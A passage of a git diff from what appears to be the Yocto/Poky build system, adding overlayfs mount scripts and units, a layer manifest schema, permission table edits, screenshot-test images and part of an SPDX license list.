+ ret = run_command_interruptible('bitbake --quiet build-sysroots -c build_native_sysroot && bitbake --quiet build-sysroots -c build_target_sysroot')
lastlog = get_last_consolelog()
if lastlog:
with open(lastlog, 'r') as f:
diff --git a/meta/files/fs-perms-persistent-log.txt b/meta/files/fs-perms-persistent-log.txt
index 3a7cf3ab94..61f0a6e26a 100644
--- a/meta/files/fs-perms-persistent-log.txt
+++ b/meta/files/fs-perms-persistent-log.txt
@@ -38,10 +38,9 @@ ${datadir}/locale 0755 root root true 0644 root root
# Cleanup headers
${includedir} 0755 root root true 0644 root root
-${oldincludedir} 0755 root root true 0644 root root
# Cleanup debug src
-/usr/src/debug 0755 root root true - root root
+/usr/src/debug 0755 root root true 0644 root root
# Items from base-files
# Links
diff --git a/meta/files/fs-perms.txt b/meta/files/fs-perms.txt
index c8c3ac5dbe..48191f504c 100644
--- a/meta/files/fs-perms.txt
+++ b/meta/files/fs-perms.txt
@@ -38,10 +38,9 @@ ${datadir}/locale 0755 root root true 0644 root root
# Cleanup headers
${includedir} 0755 root root true 0644 root root
-${oldincludedir} 0755 root root true 0644 root root
# Cleanup debug src
-/usr/src/debug 0755 root root true - root root
+/usr/src/debug 0755 root root true 0644 root root
# Items from base-files
# Links
diff --git a/meta/files/layers.example.json b/meta/files/layers.example.json
new file mode 100644
index 0000000000..0a6a6a7b48
--- /dev/null
+++ b/meta/files/layers.example.json
@@ -0,0 +1,48 @@
+{
+ "sources": {
+ "meta-alex": {
+ "contains_this_file": true,
+ "git-remote": {
+ "branch": "master",
+ "describe": "",
+ "remotes": {
+ "remote-alex": {
+ "uri": "https://github.com/kanavin/meta-alex"
+ }
+ },
+ "rev": "05b25605fb8b2399e4706d7323828676bf0da0b5"
+ },
+ "path": "meta-alex"
+ },
+ "meta-intel": {
+ "git-remote": {
+ "branch": "master",
+ "describe": "15.0-hardknott-3.3-310-g0a96edae",
+ "remotes": {
+ "origin": {
+ "uri": "git://git.yoctoproject.org/meta-intel"
+ }
+ },
+ "rev": "0a96edae609a3f48befac36af82cf1eed6786b4a"
+ },
+ "path": "meta-intel"
+ },
+ "poky": {
+ "git-remote": {
+ "branch": "akanavin/setup-layers",
+ "describe": "4.1_M1-374-g9dda719b2a",
+ "remotes": {
+ "origin": {
+ "uri": "git://git.yoctoproject.org/poky"
+ },
+ "poky-contrib": {
+ "uri": "ssh://git@push.yoctoproject.org/poky-contrib"
+ }
+ },
+ "rev": "9dda719b2a4727a4d43a6ab8d9e23f8ca68790ec"
+ },
+ "path": "poky"
+ }
+ },
+ "version": "1.0"
+}
diff --git a/meta/files/layers.schema.json b/meta/files/layers.schema.json
new file mode 100644
index 0000000000..659ee8da49
--- /dev/null
+++ b/meta/files/layers.schema.json
@@ -0,0 +1,76 @@
+{
+ "description": "OpenEmbedder Layer Setup Manifest",
+ "type": "object",
+ "additionalProperties": false,
+ "required": [
+ "version"
+ ],
+ "properties": {
+ "version": {
+ "description": "The version of this document; currently '1.0'",
+ "enum": ["1.0"]
+ },
+ "sources": {
+ "description": "The dict of layer sources",
+ "type": "object",
+ "patternProperties": { ".*" : {
+ "type": "object",
+ "description": "The upstream source from which a set of layers may be fetched",
+ "additionalProperties": false,
+ "required": [
+ "path"
+ ],
+ "properties": {
+ "path": {
+ "description": "The path where this layer source will be placed when fetching",
+ "type": "string"
+ },
+ "contains_this_file": {
+ "description": "Whether the directory with the layer source also contains this json description. Tools may want to skip the checkout of the source then.",
+ "type": "boolean"
+ },
+ "git-remote": {
+ "description": "A remote git source from which to fetch",
+ "type": "object",
+ "additionalProperties": false,
+ "required": [
+ "rev"
+ ],
+ "properties": {
+ "branch": {
+ "description": "The git branch to fetch (optional)",
+ "type": "string"
+ },
+ "rev": {
+ "description": "The git revision to checkout",
+ "type": "string"
+ },
+ "describe": {
+ "description": "The output of 'git describe' (human readable description of the revision using tags in revision history).",
+ "type": "string"
+ },
+ "remotes": {
+ "description": "The dict of git remotes to add to this repository",
+ "type": "object",
+ "patternProperties": { ".*" : {
+ "description": "A git remote",
+ "type": "object",
+ "addtionalProperties": false,
+ "required": [
+ "uri"
+ ],
+ "properties": {
+ "uri": {
+ "description": "The URI for the remote",
+ "type": "string"
+ }
+ }
+ }}
+ }
+ }
+ }
+ }
+ }
+ }}
+ }
+}
diff --git a/meta/files/overlayfs-all-overlays.service.in b/meta/files/overlayfs-all-overlays.service.in
new file mode 100644
index 0000000000..74ee4e90ae
--- /dev/null
+++ b/meta/files/overlayfs-all-overlays.service.in
@@ -0,0 +1,12 @@
+[Unit]
+Description=Groups all overlays required by {PN} in one unit
+After={ALL_OVERLAYFS_UNITS}
+Requires={ALL_OVERLAYFS_UNITS}
+
+[Service]
+Type=oneshot
+ExecStart=/bin/true
+RemainAfterExit=true
+
+[Install]
+WantedBy=local-fs.target
diff --git a/meta/files/overlayfs-create-dirs.service.in b/meta/files/overlayfs-create-dirs.service.in
new file mode 100644
index 0000000000..c949a6dc73
--- /dev/null
+++ b/meta/files/overlayfs-create-dirs.service.in
@@ -0,0 +1,14 @@
+[Unit]
+Description=Overlayfs directories setup
+Requires={DATA_MOUNT_UNIT}
+After={DATA_MOUNT_UNIT}
+DefaultDependencies=no
+
+[Service]
+Type=oneshot
+ExecStart=/usr/sbin/overlayfs-create-dirs.sh {LOWERDIR} {DATA_MOUNT_POINT}
+RemainAfterExit=true
+StandardOutput=journal
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/files/overlayfs-create-dirs.sh b/meta/files/overlayfs-create-dirs.sh
new file mode 100644
index 0000000000..9954c34352
--- /dev/null
+++ b/meta/files/overlayfs-create-dirs.sh
@@ -0,0 +1,11 @@
+#!/bin/sh
+# This script is intended to be used sorely by overlayfs-create-dirs.service
+# Usage: overlayfs-create-dirs.sh <LOWERDIR> <DATA_MOUNT_POINT>
+
+lowerdir=$1
+datamountpoint=$2
+mkdir -p ${datamountpoint}/upper${lowerdir}
+mkdir -p ${datamountpoint}/workdir${lowerdir}
+if [ -d "$lowerdir" ]; then
+ chown $(stat -c "%U:%G" ${lowerdir}) ${datamountpoint}/upper${lowerdir}
+fi
diff --git a/meta/files/overlayfs-etc-preinit.sh.in b/meta/files/overlayfs-etc-preinit.sh.in
new file mode 100644
index 0000000000..b05e3957a3
--- /dev/null
+++ b/meta/files/overlayfs-etc-preinit.sh.in
@@ -0,0 +1,52 @@
+#!/bin/sh
+
+echo "PREINIT: Start"
+
+PATH=/sbin:/bin:/usr/sbin:/usr/bin
+if {CREATE_MOUNT_DIRS}; then
+ mount -o remount,rw /
+
+ mkdir -p /proc
+ mkdir -p /sys
+ mkdir -p /run
+ mkdir -p /var/run
+ mkdir -p {OVERLAYFS_ETC_MOUNT_POINT}
+fi
+
+mount -t proc proc /proc
+mount -t sysfs sysfs /sys
+
+[ -z "$CONSOLE" ] && CONSOLE="/dev/console"
+
+BASE_OVERLAY_ETC_DIR={OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc
+UPPER_DIR=$BASE_OVERLAY_ETC_DIR/upper
+WORK_DIR=$BASE_OVERLAY_ETC_DIR/work
+LOWER_DIR=$BASE_OVERLAY_ETC_DIR/lower
+
+if mount -n -t {OVERLAYFS_ETC_FSTYPE} \
+ -o {OVERLAYFS_ETC_MOUNT_OPTIONS} \
+ {OVERLAYFS_ETC_DEVICE} {OVERLAYFS_ETC_MOUNT_POINT}
+then
+ mkdir -p $UPPER_DIR
+ mkdir -p $WORK_DIR
+
+ if {OVERLAYFS_ETC_EXPOSE_LOWER}; then
+ mkdir -p $LOWER_DIR
+
+ # provide read-only access to original /etc content
+ mount -o bind,ro /etc $LOWER_DIR
+ fi
+
+ mount -n -t overlay \
+ -o upperdir=$UPPER_DIR \
+ -o lowerdir=/etc \
+ -o workdir=$WORK_DIR \
+ -o index=off,xino=off,redirect_dir=off,metacopy=off \
+ $UPPER_DIR /etc || \
+ echo "PREINIT: Mounting etc-overlay failed!"
+else
+ echo "PREINIT: Mounting </data> failed!"
+fi
+
+echo "PREINIT: done; starting </sbin/init>"
+exec {SBIN_INIT_NAME}
diff --git a/meta/files/overlayfs-unit.mount.in b/meta/files/overlayfs-unit.mount.in
new file mode 100644
index 0000000000..1d33b7e39c
--- /dev/null
+++ b/meta/files/overlayfs-unit.mount.in
@@ -0,0 +1,13 @@
+[Unit]
+Description=Overlayfs mount unit
+Requires={CREATE_DIRS_SERVICE}
+After={CREATE_DIRS_SERVICE}
+
+[Mount]
+What=overlay
+Where={LOWERDIR}
+Type=overlay
+Options=lowerdir={LOWERDIR},upperdir={DATA_MOUNT_POINT}/upper{LOWERDIR},workdir={DATA_MOUNT_POINT}/workdir{LOWERDIR}
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/files/ptest-perl/run-ptest b/meta/files/ptest-perl/run-ptest
index c9f9ca94d0..fd35357b42 100644
--- a/meta/files/ptest-perl/run-ptest
+++ b/meta/files/ptest-perl/run-ptest
@@ -1,7 +1,7 @@
#!/bin/sh
for case in `find t -type f -name '*.t'`; do
- perl $case >$case.output 2>&1
+ perl -I . $case >$case.output 2>&1
ret=$?
cat $case.output
if [ $ret -ne 0 ]; then
diff --git a/meta/files/screenshot-tests/core-image-sato-qemuarm.png b/meta/files/screenshot-tests/core-image-sato-qemuarm.png
new file mode 100644
index 0000000000..5156eb2f16
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-qemuarm.png
Binary files differ
diff --git a/meta/files/screenshot-tests/core-image-sato-qemuarm64.png b/meta/files/screenshot-tests/core-image-sato-qemuarm64.png
new file mode 100644
index 0000000000..372964e383
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-qemuarm64.png
Binary files differ
diff --git a/meta/files/screenshot-tests/core-image-sato-qemumips.png b/meta/files/screenshot-tests/core-image-sato-qemumips.png
new file mode 100644
index 0000000000..372964e383
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-qemumips.png
Binary files differ
diff --git a/meta/files/screenshot-tests/core-image-sato-qemumips64.png b/meta/files/screenshot-tests/core-image-sato-qemumips64.png
new file mode 100644
index 0000000000..372964e383
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-qemumips64.png
Binary files differ
diff --git a/meta/files/screenshot-tests/core-image-sato-qemuppc.png b/meta/files/screenshot-tests/core-image-sato-qemuppc.png
new file mode 100644
index 0000000000..17f7d1b578
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-qemuppc.png
Binary files differ
diff --git a/meta/files/screenshot-tests/core-image-sato-qemuriscv64.png b/meta/files/screenshot-tests/core-image-sato-qemuriscv64.png
new file mode 100644
index 0000000000..4f8980f6f5
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-qemuriscv64.png
Binary files differ
diff --git a/meta/files/screenshot-tests/core-image-sato-qemux86-64.png b/meta/files/screenshot-tests/core-image-sato-qemux86-64.png
new file mode 100644
index 0000000000..201c523bde
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-qemux86-64.png
Binary files differ
diff --git a/meta/files/screenshot-tests/core-image-sato-qemux86.png b/meta/files/screenshot-tests/core-image-sato-qemux86.png
new file mode 100644
index 0000000000..201c523bde
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-qemux86.png
Binary files differ
diff --git a/meta/files/screenshot-tests/core-image-sato-sdk-qemuarm.png b/meta/files/screenshot-tests/core-image-sato-sdk-qemuarm.png
new file mode 120000
index 0000000000..9ba26a030c
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-sdk-qemuarm.png
@@ -0,0 +1 @@
+core-image-sato-qemuarm.png \ No newline at end of file
diff --git a/meta/files/screenshot-tests/core-image-sato-sdk-qemuarm64.png b/meta/files/screenshot-tests/core-image-sato-sdk-qemuarm64.png
new file mode 120000
index 0000000000..67c3d41f2b
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-sdk-qemuarm64.png
@@ -0,0 +1 @@
+core-image-sato-qemuarm64.png \ No newline at end of file
diff --git a/meta/files/screenshot-tests/core-image-sato-sdk-qemumips.png b/meta/files/screenshot-tests/core-image-sato-sdk-qemumips.png
new file mode 120000
index 0000000000..167227c235
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-sdk-qemumips.png
@@ -0,0 +1 @@
+core-image-sato-qemumips.png \ No newline at end of file
diff --git a/meta/files/screenshot-tests/core-image-sato-sdk-qemumips64.png b/meta/files/screenshot-tests/core-image-sato-sdk-qemumips64.png
new file mode 120000
index 0000000000..70ba35c255
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-sdk-qemumips64.png
@@ -0,0 +1 @@
+core-image-sato-qemumips64.png \ No newline at end of file
diff --git a/meta/files/screenshot-tests/core-image-sato-sdk-qemuppc.png b/meta/files/screenshot-tests/core-image-sato-sdk-qemuppc.png
new file mode 120000
index 0000000000..bdc87d3b1d
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-sdk-qemuppc.png
@@ -0,0 +1 @@
+core-image-sato-qemuppc.png \ No newline at end of file
diff --git a/meta/files/screenshot-tests/core-image-sato-sdk-qemuriscv64.png b/meta/files/screenshot-tests/core-image-sato-sdk-qemuriscv64.png
new file mode 120000
index 0000000000..87b4e66023
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-sdk-qemuriscv64.png
@@ -0,0 +1 @@
+core-image-sato-qemuriscv64.png \ No newline at end of file
diff --git a/meta/files/screenshot-tests/core-image-sato-sdk-qemux86-64.png b/meta/files/screenshot-tests/core-image-sato-sdk-qemux86-64.png
new file mode 120000
index 0000000000..4ae853c070
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-sdk-qemux86-64.png
@@ -0,0 +1 @@
+core-image-sato-qemux86-64.png \ No newline at end of file
diff --git a/meta/files/screenshot-tests/core-image-sato-sdk-qemux86.png b/meta/files/screenshot-tests/core-image-sato-sdk-qemux86.png
new file mode 120000
index 0000000000..90d707fab5
--- /dev/null
+++ b/meta/files/screenshot-tests/core-image-sato-sdk-qemux86.png
@@ -0,0 +1 @@
+core-image-sato-qemux86.png \ No newline at end of file
diff --git a/meta/files/spdx-licenses.json b/meta/files/spdx-licenses.json
new file mode 100644
index 0000000000..ef926164ec
--- /dev/null
+++ b/meta/files/spdx-licenses.json
@@ -0,0 +1,5937 @@
+{
+ "licenseListVersion": "3.14",
+ "licenses": [
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0.json",
+ "referenceNumber": 0,
+ "name": "GNU General Public License v1.0 only",
+ "licenseId": "GPL-1.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/bzip2-1.0.6.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/bzip2-1.0.6.json",
+ "referenceNumber": 1,
+ "name": "bzip2 and libbzip2 License v1.0.6",
+ "licenseId": "bzip2-1.0.6",
+ "seeAlso": [
+ "https://sourceware.org/git/?p\u003dbzip2.git;a\u003dblob;f\u003dLICENSE;hb\u003dbzip2-1.0.6",
+ "http://bzip.org/1.0.5/bzip2-manual-1.0.5.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Intel-ACPI.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Intel-ACPI.json",
+ "referenceNumber": 2,
+ "name": "Intel ACPI Software License Agreement",
+ "licenseId": "Intel-ACPI",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Intel_ACPI_Software_License_Agreement"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/XSkat.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/XSkat.json",
+ "referenceNumber": 3,
+ "name": "XSkat License",
+ "licenseId": "XSkat",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/XSkat_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.0.json",
+ "referenceNumber": 4,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 2.0 Generic",
+ "licenseId": "CC-BY-NC-SA-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Plexus.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Plexus.json",
+ "referenceNumber": 5,
+ "name": "Plexus Classworlds License",
+ "licenseId": "Plexus",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Plexus_Classworlds_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Giftware.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Giftware.json",
+ "referenceNumber": 6,
+ "name": "Giftware License",
+ "licenseId": "Giftware",
+ "seeAlso": [
+ "http://liballeg.org/license.html#allegro-4-the-giftware-license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BitTorrent-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BitTorrent-1.0.json",
+ "referenceNumber": 7,
+ "name": "BitTorrent Open Source License v1.0",
+ "licenseId": "BitTorrent-1.0",
+ "seeAlso": [
+ "http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/licenses/BitTorrent?r1\u003d1.1\u0026r2\u003d1.1.1.1\u0026diff_format\u003ds"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-1.1.json",
+ "referenceNumber": 8,
+ "name": "Apple Public Source License 1.1",
+ "licenseId": "APSL-1.1",
+ "seeAlso": [
+ "http://www.opensource.apple.com/source/IOSerialFamily/IOSerialFamily-7/APPLE_LICENSE"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-GCC-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-GCC-exception.json",
+ "referenceNumber": 9,
+ "name": "GNU General Public License v2.0 w/GCC Runtime Library exception",
+ "licenseId": "GPL-2.0-with-GCC-exception",
+ "seeAlso": [
+ "https://gcc.gnu.org/git/?p\u003dgcc.git;a\u003dblob;f\u003dgcc/libgcc1.c;h\u003d762f5143fc6eed57b6797c82710f3538aa52b40b;hb\u003dcb143a3ce4fb417c68f5fa2691a1b1b1053dfba9#l10"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/UPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/UPL-1.0.json",
+ "referenceNumber": 10,
+ "name": "Universal Permissive License v1.0",
+ "licenseId": "UPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/UPL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/wxWindows.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/wxWindows.json",
+ "referenceNumber": 11,
+ "name": "wxWindows Library License",
+ "licenseId": "wxWindows",
+ "seeAlso": [
+ "https://opensource.org/licenses/WXwindows"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Caldera.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Caldera.json",
+ "referenceNumber": 12,
+ "name": "Caldera License",
+ "licenseId": "Caldera",
+ "seeAlso": [
+ "http://www.lemis.com/grog/UNIX/ancient-source-all.pdf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zend-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zend-2.0.json",
+ "referenceNumber": 13,
+ "name": "Zend License v2.0",
+ "licenseId": "Zend-2.0",
+ "seeAlso": [
+ "https://web.archive.org/web/20130517195954/http://www.zend.com/license/2_00.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CUA-OPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CUA-OPL-1.0.json",
+ "referenceNumber": 14,
+ "name": "CUA Office Public License v1.0",
+ "licenseId": "CUA-OPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/CUA-OPL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/JPNIC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/JPNIC.json",
+ "referenceNumber": 15,
+ "name": "Japan Network Information Center License",
+ "licenseId": "JPNIC",
+ "seeAlso": [
+ "https://gitlab.isc.org/isc-projects/bind9/blob/master/COPYRIGHT#L366"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SAX-PD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SAX-PD.json",
+ "referenceNumber": 16,
+ "name": "Sax Public Domain Notice",
+ "licenseId": "SAX-PD",
+ "seeAlso": [
+ "http://www.saxproject.org/copying.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-2.5.json",
+ "referenceNumber": 17,
+ "name": "Creative Commons Attribution No Derivatives 2.5 Generic",
+ "licenseId": "CC-BY-ND-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/eGenix.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/eGenix.json",
+ "referenceNumber": 18,
+ "name": "eGenix.com Public License 1.1.0",
+ "licenseId": "eGenix",
+ "seeAlso": [
+ "http://www.egenix.com/products/eGenix.com-Public-License-1.1.0.pdf",
+ "https://fedoraproject.org/wiki/Licensing/eGenix.com_Public_License_1.1.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPLLR.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPLLR.json",
+ "referenceNumber": 19,
+ "name": "Lesser General Public License For Linguistic Resources",
+ "licenseId": "LGPLLR",
+ "seeAlso": [
+ "http://www-igm.univ-mlv.fr/~unitex/lgpllr.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.2.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.2.2.json",
+ "referenceNumber": 20,
+ "name": "Open LDAP Public License 2.2.2",
+ "licenseId": "OLDAP-2.2.2",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003ddf2cc1e21eb7c160695f5b7cffd6296c151ba188"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-3.0-DE.json",
+ "referenceNumber": 21,
+ "name": "Creative Commons Attribution No Derivatives 3.0 Germany",
+ "licenseId": "CC-BY-ND-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/IPA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IPA.json",
+ "referenceNumber": 22,
+ "name": "IPA Font License",
+ "licenseId": "IPA",
+ "seeAlso": [
+ "https://opensource.org/licenses/IPA"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NCSA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NCSA.json",
+ "referenceNumber": 23,
+ "name": "University of Illinois/NCSA Open Source License",
+ "licenseId": "NCSA",
+ "seeAlso": [
+ "http://otm.illinois.edu/uiuc_openSource",
+ "https://opensource.org/licenses/NCSA"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/W3C.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/W3C.json",
+ "referenceNumber": 24,
+ "name": "W3C Software Notice and License (2002-12-31)",
+ "licenseId": "W3C",
+ "seeAlso": [
+ "http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231.html",
+ "https://opensource.org/licenses/W3C"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Adobe-2006.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Adobe-2006.json",
+ "referenceNumber": 25,
+ "name": "Adobe Systems Incorporated Source Code License Agreement",
+ "licenseId": "Adobe-2006",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AdobeLicense"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Net-SNMP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Net-SNMP.json",
+ "referenceNumber": 26,
+ "name": "Net-SNMP License",
+ "licenseId": "Net-SNMP",
+ "seeAlso": [
+ "http://net-snmp.sourceforge.net/about/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-4.0.json",
+ "referenceNumber": 27,
+ "name": "Creative Commons Attribution Share Alike 4.0 International",
+ "licenseId": "CC-BY-SA-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/4.0/legalcode"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/YPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/YPL-1.0.json",
+ "referenceNumber": 28,
+ "name": "Yahoo! Public License v1.0",
+ "licenseId": "YPL-1.0",
+ "seeAlso": [
+ "http://www.zimbra.com/license/yahoo_public_license_1.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Nunit.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/Nunit.json",
+ "referenceNumber": 29,
+ "name": "Nunit License",
+ "licenseId": "Nunit",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Nunit"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MITNFA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MITNFA.json",
+ "referenceNumber": 30,
+ "name": "MIT +no-false-attribs license",
+ "licenseId": "MITNFA",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MITNFA"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PHP-3.01.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PHP-3.01.json",
+ "referenceNumber": 31,
+ "name": "PHP License v3.01",
+ "licenseId": "PHP-3.01",
+ "seeAlso": [
+ "http://www.php.net/license/3_01.txt"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-Source-Code.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-Source-Code.json",
+ "referenceNumber": 32,
+ "name": "BSD Source Code Attribution",
+ "licenseId": "BSD-Source-Code",
+ "seeAlso": [
+ "https://github.com/robbiehanson/CocoaHTTPServer/blob/master/LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.5.json",
+ "referenceNumber": 33,
+ "name": "Creative Commons Attribution Share Alike 2.5 Generic",
+ "licenseId": "CC-BY-SA-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Motosoto.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Motosoto.json",
+ "referenceNumber": 34,
+ "name": "Motosoto License",
+ "licenseId": "Motosoto",
+ "seeAlso": [
+ "https://opensource.org/licenses/Motosoto"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-1.1.html",
+ "isDeprecatedLicenseId": false,
